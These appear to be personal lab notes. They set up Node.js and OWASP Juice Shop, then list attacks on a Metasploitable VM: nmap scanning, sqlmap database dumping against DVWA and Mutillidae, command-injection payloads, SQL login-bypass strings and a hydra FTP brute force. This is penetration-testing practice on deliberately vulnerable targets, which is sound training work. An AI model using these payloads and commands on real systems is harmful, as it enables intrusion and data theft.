**Install nvm (Node Version Manager)**

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash

Then **activate nvm** in your shell:

In terminal:

export NVM\_DIR="$HOME/.nvm"

source "$NVM\_DIR/nvm.sh"

You can also close and reopen your terminal if unsure — it auto-loads nvm from your .bashrc or .zshrc.

**2. Install latest LTS version of Node.js**

nvm install --lts

This will install Node.js and npm under your user profile.

**3. Verify installation**

node -v

npm -v

4. Run juice-shop

npx juice-shop

# this doesnot work

**❌ Why npx juice-shop doesn't work:**

The juice-shop package **used to exist** on npm but appears to have been **removed or deprecated**. That's why you’re getting:

npm ERR! No versions available for juice-shop

**Download from GitHub (No Docker)**

git clone https://github.com/juice-shop/juice-shop.git

cd juice-shop

npm install

npm start

**🎯 Target: Metasploitable**

We'll attack services like DVWA, Mutillidae, and system services.

**🛠️ Tools You'll Use from Kali:**

* nmap → reconnaissance
* sqlmap → SQL injection
* hydra → brute force
* burp or browser → manual XSS, command injection
* curl → test basic payloads

**⚔️ Metasploitable Attack Commands (Kali as Attacker)**

**1️⃣ Recon: Nmap Full Port + Service Scan**

nmap -sS -sV -p- -T4 192.168.146.129 -oN metasploitable\_nmap.txt

* Detects open ports, services, OS
* Save output for report

**2️⃣ SQL Injection (Mutillidae or DVWA)**

Navigate to:

http://192.168.146.129/mutillidae/index.php?page=user-info.php&username=a

**Run SQLMap:**

sqlmap -u "http://192.168.146.129/mutillidae/index.php?page=user-info.php&username=a" --batch --dbs

For DVWA:

sqlmap -u "http://192.168.146.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=xxxx" --batch --dbs

* Use Burp Suite to copy cookies if needed
* Use --dump to extract tables/data

**3️⃣ Command Injection (DVWA)**

Go to:

http://192.168.146.129/dvwa/vulnerabilities/exec/

Payloads:

127.0.0.1; uname -a

8.8.8.8 && id

Look for command output reflected in the response.

**4️⃣ Authentication Bypass**

Mutillidae Login Page:

http://192.168.146.129/mutillidae/index.php?page=login.php

Try bypass payload:

vbnet

Username: ' or '1'='1

Password: anything

Or use Burp Suite to capture the request and fuzz with:

Sql ' OR 1=1-- -

✅ Login should succeed without credentials.

**5️⃣ FTP Brute Force**

hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ftp://192.168.146.129 -t 4

Record:

* Snort alert
* Login success/failure

Recap of Successful Metasploitable Attacks:

| **Type** | **Tool** | **Target** |
| --- | --- | --- |
| Recon | nmap | All open services |
| SQLi | sqlmap | DVWA (low security) |
| Command Injection | Browser or Burp | DVWA /exec/ |
| Auth Bypass | Manual | DVWA login |
| FTP Brute Force | hydra | Metasploitable FTP |